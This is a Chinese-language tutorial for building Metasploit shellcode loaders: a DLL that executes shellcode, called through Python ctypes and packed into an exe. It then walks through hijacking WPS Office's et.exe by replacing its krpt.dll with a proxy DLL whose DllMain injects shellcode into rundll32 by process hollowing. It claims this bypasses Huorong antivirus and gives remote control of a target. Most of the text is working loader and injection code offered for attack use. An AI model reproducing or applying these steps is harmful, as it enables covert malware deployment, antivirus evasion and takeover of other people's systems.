1.使用visual studio创建项目

2.将文件名重命名为.c后缀

3.将如下加载器代码生成dll文件
加载器代码:
- #include "pch.h"
- #include
- #include
- #include
-
- #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口
-
- unsigned char buf[] =生成的shellcode;
- int main()
- {
- char* Memory;
- Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- memcpy(Memory, buf, sizeof(buf));
- ((void(*)())Memory)();
- }
生成成功

4.msf开启监听

5.使用python执行如下代码,调用dll文件
dll.py:
from ctypes import *
#利用python载入dll文件
lib=CDLL('生成的dll文件路径')
#调用dll文件内置方法函数
lib.main()
执行成功,msf成功上线

6.使用打包器将dll.py文件打包成exe,执行成功上线

1.随便选中一个exe程序运行,使用火绒剑查看这个exe程序在运行时加载的dll文件
这里选择的是wps中的et.exe程序,运行发现加载了一个krpt.dll文件

2.使用Dependencies工具对krpt.dll进行反编译

3.右键导出krpt.dll源码

4.使用visual studio 创建一个新项目。项目名称右键——打开项目位置——将反编译的dll源码复制进去。

5.选中dll源码拖入项目,工具就会自动加载源码

6.打开asm文件,将所有的jmp语句删除

7.根据文件中的教程,选中文件——右键属性——如下图修改——点击应用。
配置时注意:
配置:选择所有配置
平台:选择所有平台

8.根据教程——继续打开asm文件的属性进行配置

9.项目名称——右键属性——c/c++——代码生成——运行库——多线程(/MT)

10.预编译头——不使用预编译头

11.链接器——调试——生成调试信息——否

12.在.c文件中添加如下一行代码

13.打开.cpp文件,写入shellcode加载代码(可任意)
如:
- #include "framework.h"
- #include "krpt.h"
- #include "windows.h"
-
- BOOL APIENTRY DllMain(HMODULE hModule,
- DWORD ul_reason_for_call,
- LPVOID lpReserved
- )
- {
- switch (ul_reason_for_call)
- {
- case DLL_PROCESS_ATTACH:
- {
-
- unsigned char hexData[] = "生成的shellcode";
-
- char* v7A = (char*)VirtualAlloc(0, _countof(hexData), 0x3000u, 0x40u);
- memcpy((void*)v7A, hexData, _countof(hexData));
- struct _PROCESS_INFORMATION ProcessInformation;
- struct _STARTUPINFOA StartupInfo;
- void* v24;
- CONTEXT Context;
- DWORD DwWrite = 0;
- memset(&StartupInfo, 0, sizeof(StartupInfo));
- StartupInfo.cb = 68;
- BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);
- if (result)
- {
- Context.ContextFlags = 65539;
- GetThreadContext(ProcessInformation.hThread, &Context);
- v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, _countof(hexData), 0x1000u, 0x40u);
- WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, _countof(hexData), &DwWrite);
- Context.Eip = (DWORD)v24;
- SetThreadContext(ProcessInformation.hThread, &Context);
- ResumeThread(ProcessInformation.hThread);
- CloseHandle(ProcessInformation.hThread);
- result = CloseHandle(ProcessInformation.hProcess);
- }
-
- TerminateProcess(GetCurrentProcess(), 0);
- };
-
- case DLL_THREAD_ATTACH:
- case DLL_THREAD_DETACH:
- case DLL_PROCESS_DETACH:
- break;
- }
- return TRUE;
- }
成功生成dll文件

14.将生成的dll文件改名位krpt.dll和et.exe一起上传到目标系统
运行et.exe,成功绕过火绒检测,msf成功上线
